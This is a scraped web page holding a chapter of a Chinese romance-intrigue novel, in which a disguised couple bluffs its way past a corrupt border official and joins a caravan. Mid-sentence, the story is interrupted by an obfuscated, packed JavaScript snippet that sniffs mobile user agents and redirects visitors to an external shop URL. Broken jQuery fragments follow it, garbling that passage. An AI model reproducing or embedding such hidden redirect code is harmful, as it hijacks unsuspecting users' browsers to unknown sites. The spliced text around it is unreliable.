文趣网 > 其他小说 > 春茵不下 > 50. 鸦谷·夫妻
    平旦方至,四野无遮,虽是仲夏,却也不由叫人缩肩拢裘。

    傅茵自打来了西域,都是骆驼和马轮着来,还不曾坐过辎车呢。

    离了都护府便不想覆面绡了,解下来,拉起车帷,呼吸一大口新鲜气。然而冷风灌进来,叫人同样新鲜地呛了一大口。傅茵赶紧掩上车帷,端正坐回来。

    他看着她一会儿便动一下,时而看看穹顶,时而挠挠舆壁,时而又轻叹一声。

    “身上痒就下去打滚。”

    “……”傅茵回敬一个白眼。

    其实傅茵不太好意思承认,她的确是有点不自在。成婚一年,弃婚一年,将近两年时间,她竟是第一回与李添亦坐同一辆辎车,一臂之遥的距离。

    而且,这段路还很长。

    也不知自己在矫情什么,其实甚至都同榻而眠过,但那时候她一心想着要怎么对付他,反而很少想这些有的没的。她隐秘地不自在,另一人便显得尤为坦荡,甚至有些坦荡过了头。

    傅茵偏头靠在车牖边,半眯着眼,李添亦抱臂仰着,眼帘却微垂,眸光不曾移动过。

    昨日还是一副中原闺秀的模样,今日便已换成了布衣素服,一头长发都辫成了细辫,藏在薄墨幂篱后,但薄墨又有一层朱红的宽边,映出俏丽一张脸。

    为什么要生成这副模样,如同这旷野诞出来的鸟儿,为什么本来就生成了这副模样,还要变本加厉地穿这身衣裳。

    车厢轻微摇晃,李添亦闭上眼。

    不该怪她,因为是他叫她换的这身,要去与黑水旗交易,俩人都扮作了普通胡商。

    阿史那不愿坐辎车,一人一马,潇洒得很。

    他虽长着一副冲脾气模样,却实在是个洒脱性子,那日虽与这些中原人有些小冲突,但并未太为难,也便一同去鸦谷。

    马儿在外打着响鼻,阿史那在外:“飒弥。”

    傅茵“唰”地掀开车帷,朝他笑:“你不冷吗?”

    阿史那故作嫌弃:“你这小身板,赶紧进你的车去吧。”

    傅茵笑起来,又与他玩笑了几句。

    李添亦重新掀起眼帘。

    他又想怪她了。

    阿史那正说着话,前头安斛忽地回了半个身子:“小兄弟,我们前头有些不认路了,你能否过来瞧瞧。”

    “行。”阿史那大方答应,驭马前去。

    安斛并未及时转回去,恰与傅茵对上眼神,她心中一悸。

    怎么觉得小安将军眼神有些意味深长。

    傅茵重新压下车帷,猝不及防又对上另一双眸子。

    坏了,这更是个难懂的。

    她吸吸鼻,眼神飘忽过去,继续侧身靠着厢板,目光定在前幔上,食指挠挠舆壁。

    队列并不长,二十精骑皆作胡人打扮,将三辆辎车围在中央。前一辆是他们的,中间捆着赵干和曹六,其后是货资。

    傅茵挠完舆壁,睁开一只眼瞄他,见他闭目养神,想了想:“你将他们关在一起,不怕他们合谋窜逃吗。”

    本以为他又会说些损人的话,但李添亦这回难得当了次人:“本就已是无用之人,若真有本事逃出去,还能散点余热。”

    那契印在她手中保管,傅茵隔着锦囊捏了捏,感受形状,“曹六有没有交代过,他们中持印的分别是谁?”

    李添亦默然,那边就是并未问出。

    前日她也在场,曹六信誓旦旦,将一切所知都报与了李添亦,而赵干也意料之中地对他大失所望。

    可明明,那日她与阿史那在门口伏击时,听得赵干对曹六的下落很是关心。而且,早便知晓了他“背信弃义”的本性,为何又要与他联系长达数月。

    ……

    阿史那在前带队,快到时便和傅茵打了招呼,先行几步,去与白驼商队会合。

    鸦谷腹地与金叶城一样,处于闾那萆乌交界,却更往东边去,再往前走,便到了临近中原的一座城池——但现在已经被萆乌占下。

    此地贸易甚繁,大小商队都会经过,七月中旬正处市期,商旅云集。

    一行中原商队在关隘外暂歇。

    自战后,千里迢迢来此的中原商人不算太多,是以引起了些注意。商队行首是个颀身玉立的年轻男人,半披发,枣褐翻领袍,胡装打扮。

    男人自辎车落地,回身伸臂,一位修姿窈窕的年轻女子扶臂而出。

    傅茵已重新覆了面,看李添亦一眼,他负手而立,姿态甚是松弛,仿若真是个游刃有余的商者。

    没看出来,他还有这种潜质。李添亦察觉到视线,作势偏头,她立刻收了眼神。

    李添亦自鼻腔轻笑一声。

    到此地时,安斛便已着人先送货物去通关,但不一会儿有亲卫回来,报:“郎君,关隘被拦了。”

    “走。”李添亦叫她,随亲卫引路而去,傅茵跟在后,三两步便与他并排而行。

    这是进萆乌的关隘。

    一个傅茵又惧,又恨,又念的地方。

    文书一应俱全,人却不放过去,一横眉关吏将过所倨傲地还回去,称中原商队还需检查货物,如今大延与萆乌虽互市不频繁,且需集中在月中月末,官府首肯下才可通行。

    今日七月十四,互市第一日。

    李添亦扫他一眼。偏头,安斛立刻会意,拿出一袋鼓囊囊的东西塞进关吏手中,笑道:“大人,您再好好查查。”

    其余几个关吏瞥了一眼,纷纷暗自露出喜色,那关吏捏了捏,暗自数了数量。

    眼见这一行人个个仪容端正,气势颇足,领头却是一对小夫妻,瞧着似是第一回入关。

    关吏清了清嗓,与身后人打了个眼色,面色仍是为难:“不是我不肯放行,但你也知道,你们延人素来城府颇深,凡事多有计较,我不敢轻易通融。”

    此话竟说得毫不客气,想要钱便罢,还要连带羞辱大延,傅茵三两步上前,将钱袋拿回来。

    手中一空,那关吏先是一愣,随即怒起:“把货都给我收了!”

    不仅要抢货,连人也围住,说着便要来抓傅茵,李添亦将傅茵往后一拽,安斛腰间剑鞘一空,剑已到了太子手中,直直对着要上前的关吏。

    傅茵却钱袋抛与安斛,跨了半步,在挺阔的背后露出大半个身子,“萆乌便是这样与人做生意的吗,怨不得朱行主常与我道,萆乌人唯利是图、行事无信,才教中原商旅步步提防,不敢轻易坦诚相待。”

    此言一出,那群关吏纷纷面露凶相,其中一人便要动手,为首那横眉关吏却抬手,“你方才说谁,哪个朱行主?”

    “万河商行的朱行主朱勉,你们不认识?”傅茵叹了口气,倚着李添亦:“郎君,咱们是不是来早了,万河的人根本就没在境内接应

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717401|203564||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    咱们。”

    温软的身子贴过来,一双美目愁眉不展。

    他对她所知还是太少了。

    李添亦将她腰往身上一带:“娘子所言甚是,不过我看,万河不是不接应咱们,是本就不欲与黑水旗再做交易,既如此,咱们也离去便是。”

    “稍等!”那关吏慌慌拦住欲离去的一行人:“掌事可是万河辖下。”

    傅茵一吓,直往身边人身上靠:“郎君,他们莫不是要报复咱们万河吧。”

    李添亦搂住她,温声:“无妨。”转而对着关吏道:“正是,我们来此是和黑水旗交易。”

    安斛很有眼力见地递过来一盒香粉,李添亦打开,悠悠吹了吹,香粉无礼地扑出来,有些甚至盖到关吏面庞。

    颇为羞辱的一番动作,关吏却没发作,心中大叫坏事,连连赔礼。将过所再仔细查看,果然在上瞧见“万河商行”四个字,肝颤:“请进请进。”

    香盒盖上,李添亦往里走,步子却一顿,身上还挂着人,挂身上的小娘子戚戚哀哀:“郎君,咱们的货都翻了。”

    望了望天,日头有些眩晕。

    她身上香过了头,却非是任何一种芳材,而是熟悉的、令人心悸的暖香,一种妄图勾起人邪念的、可恶的香。

    屏息,不愿让这游蛇般的气息盈鼻。李添亦似笑非笑地斜睨,傅茵杏眼一眨不眨,正演得颇为起劲。

    横眉关吏一看,果然有一些货物被掀翻在地,关吏犹豫片刻,认命般嗟叹一声,从怀中摸出一带钱,“实在对不住,还请克孜收下,就当买了这些东西。”

    “罢了罢了,”傅茵柔柔一伸手,拿了那钱袋,又似烫着般放下:“我拿了它,怪我们延人城府深怎么办。”

    关吏硬着头皮:“不会不会。”

    手上一轻,钱袋离手,那二人已领着队伍过了关。

    进关内,萆乌与闾那并未有太多不同,共享同一片土地、同一片文化,行人穿着打扮,街边屋舍都很相临。

    傅茵不着痕迹离李添亦远了一步。

    胸腔中还在狂跳,她方才听得这帮萆乌人对大延不敬,心中激愤,想教训教训人,另一方面,的确也想引城中万河的人来寻他们。

    可出气归出气,也不是非得扮作夫妻……

    傅茵把原因归为,她是一时头脑发热,想到什么便做了什么,并非是自己也有点享受那个“妻子”的位置。

    因为眼下,关外有力的臂膀、宽阔的胸膛都化为了虚妄,一踏进此地,她便只剩唯一的念头。

    契印的藏处,账册的下落,阿兄的生死,阿耶的清白。

    远远一行人在前聚在一起,傅茵定睛瞧一眼,行前一个少女率先发现她:“飒弥!”

    “托依!”傅茵惊喜,拍拍李添亦臂膀:“那便是白驼商队。”

    托依身边的阿史那也发现了他们,挥起手臂,两方人马相聚。

    李添亦在傅茵身后不远不近的距离,遥遥与对面一位老者相对。

    那稍显浑浊的眼珠在傅茵身边慈爱地停了一瞬,随即移过来,看向她身后的男人和人马,化为并不掩盖的打量。

    男人却丝毫未受不善目光的任何影响,周身气度疏阔,半点无局促避让之态,自有一身不折的矜贵。

    少顷,老图向男人微微颔首。

    李添亦回礼,额首微低。